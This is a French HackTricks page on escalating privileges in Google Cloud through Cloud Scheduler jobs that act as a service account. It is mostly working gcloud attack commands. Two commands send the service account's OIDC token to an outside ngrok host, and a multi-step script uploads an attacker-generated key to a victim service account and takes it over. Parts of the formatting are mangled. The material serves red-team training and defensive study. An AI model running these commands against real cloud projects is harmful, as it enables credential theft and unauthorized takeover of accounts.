GCP - Cloud Scheduler Privesc

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

Cloud Scheduler

Plus d’informations dans :

GCP - Cloud Scheduler Enum

cloudscheduler.jobs.create , iam.serviceAccounts.actAs, (cloudscheduler.locations.list)

Un attaquant disposant de ces permissions pourrait exploiter Cloud Scheduler pour authentifier des cron jobs en tant qu’un Service Account spĂ©cifique. En construisant une requĂȘte HTTP POST, l’attaquant planifie des actions, comme la crĂ©ation d’un Storage bucket, pour s’exĂ©cuter sous l’identitĂ© du Service Account. Cette mĂ©thode tire parti de la capacitĂ© du Scheduler Ă  cibler des endpoints *.googleapis.com et Ă  authentifier des requĂȘtes, permettant Ă  l’attaquant de manipuler directement les endpoints de l’API Google en utilisant une simple commande gcloud.

  • Contacter n’importe quelle API google via googleapis.com avec un en-tĂȘte de token OAuth

Créer un nouveau Storage bucket :

Create Cloud Scheduler job to create GCS bucket via API ```bash gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://storage.googleapis.com/storage/v1/b?project=' --message-body "{'name':'new-bucket-name'}" --oauth-service-account-email 111111111111-compute@developer.gserviceaccount.com --headers "Content-Type=application/json" --location us-central1 ```

Pour escalader les privilĂšges, un attaquant se contente de crĂ©er une requĂȘte HTTP visant l’API souhaitĂ©e, en se faisant passer pour le Service Account spĂ©cifiĂ©

  • Exfiltrer le token OIDC du Service Account
Créer un job Cloud Scheduler pour exfiltrer le token OIDC ```bash gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']

Listen in the ngrok address to get the OIDC token in clear text.

</details>

Si vous devez vĂ©rifier la rĂ©ponse HTTP, vous pouvez simplement t**jeter un coup d'Ɠil aux journaux de l'exĂ©cution**.

### `cloudscheduler.jobs.update` , `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`)

Comme dans le scénario précédent, il est possible de **mettre à jour un scheduler déjà créé** pour voler le token ou effectuer des actions. Par exemple:

<details><summary>Mettre Ă  jour un job Cloud Scheduler existant pour exfiltrer le token OIDC</summary>
```bash
gcloud scheduler jobs update http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']

# Listen in the ngrok address to get the OIDC token in clear text.

Un autre exemple pour téléverser une clé privée sur un SA et impersonate it :

Upload private key to Service Account via Cloud Scheduler and impersonate it ```bash # Generate local private key openssl req -x509 -nodes -newkey rsa:2048 -days 365 \ -keyout /tmp/private_key.pem \ -out /tmp/public_key.pem \ -subj "/CN=unused"

Remove last new line character of the public key

file_size=$(wc -c < /tmp/public_key.pem) new_size=$((file_size - 1)) truncate -s $new_size /tmp/public_key.pem

Update scheduler to upload the key to a SA

For macOS: REMOVE THE -w 0 FROM THE BASE64 COMMAND

gcloud scheduler jobs update http scheduler_lab_1
–schedule=‘* * * * *’
–uri=“https://iam.googleapis.com/v1/projects/$PROJECT_ID/serviceAccounts/victim@$PROJECT_ID.iam.gserviceaccount.com/keys:upload?alt=json”
–message-body=“{"publicKeyData": "$(cat /tmp/public_key.pem | base64 -w 0)"}”
–update-headers “Content-Type=application/json”
–location us-central1
–oauth-service-account-email privileged@$PROJECT_ID.iam.gserviceaccount.com

Wait 1 min

sleep 60

Check the logs to check it worked

gcloud logging read ‘resource.type=“cloud_scheduler_job” AND resource.labels.job_id=“scheduler_lab_1” AND resource.labels.location=“us-central1” jsonPayload.@type=“type.googleapis.com/google.cloud.scheduler.logging.AttemptFinished”’ –limit 10 –project –format=json

If any ‘“status”: 200’ it means it worked!

Note that this scheduler will be executed every minute and after a key has been created, all the other attempts to submit the same key will throw a: “status”: 400

Build the json to contact the SA

Get privatekey in json format

file_content=$(<“/tmp/private_key.pem”) private_key_json=$(jq -Rn –arg str “$file_content” ‘$str’)

Get ID of the generated key

gcloud iam service-accounts keys list –iam-account=victim@$PROJECT_ID.iam.gserviceaccount.com

Create the json in a file

NOTE that you need to export your project-id in the env var PROJECT_ID

and that this script is expecting the key ID to be the first one (check the head)

export PROJECT_ID=
 cat > /tmp/lab.json <<EOF { “type”: “service_account”, “project_id”: “$PROJECT_ID”, “private_key_id”: “$(gcloud iam service-accounts keys list –iam-account=scheduler-lab-1-target@$PROJECT_ID.iam.gserviceaccount.com | cut -d “ “ -f 1 | grep -v KEY_ID | head -n 1)”, “private_key”: $private_key_json, “client_email”: “scheduler-lab-1-target@$PROJECT_ID.iam.gserviceaccount.com”, “client_id”: “$(gcloud iam service-accounts describe scheduler-lab-1-target@$PROJECT_ID.iam.gserviceaccount.com | grep oauth2ClientId | cut -d “’” -f 2)“, “auth_uri”: “https://accounts.google.com/o/oauth2/auth”, “token_uri”: “https://oauth2.googleapis.com/token”, “auth_provider_x509_cert_url”: “https://www.googleapis.com/oauth2/v1/certs”, “client_x509_cert_url”: “https://www.googleapis.com/robot/v1/metadata/x509/scheduler-lab-1-target%40$PROJECT_ID.iam.gserviceaccount.com”, “universe_domain”: “googleapis.com” } EOF

Activate the generated key

gcloud auth activate-service-account –key-file=/tmp/lab.json

</details>

## Références

- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)

> [!TIP]
> Apprenez & pratiquez AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Apprenez & pratiquez GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Apprenez & pratiquez Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Soutenez HackTricks</summary>
>
> - Consultez les [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Rejoignez le** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) ou le [**telegram group**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐩 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Partagez des hacking tricks en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>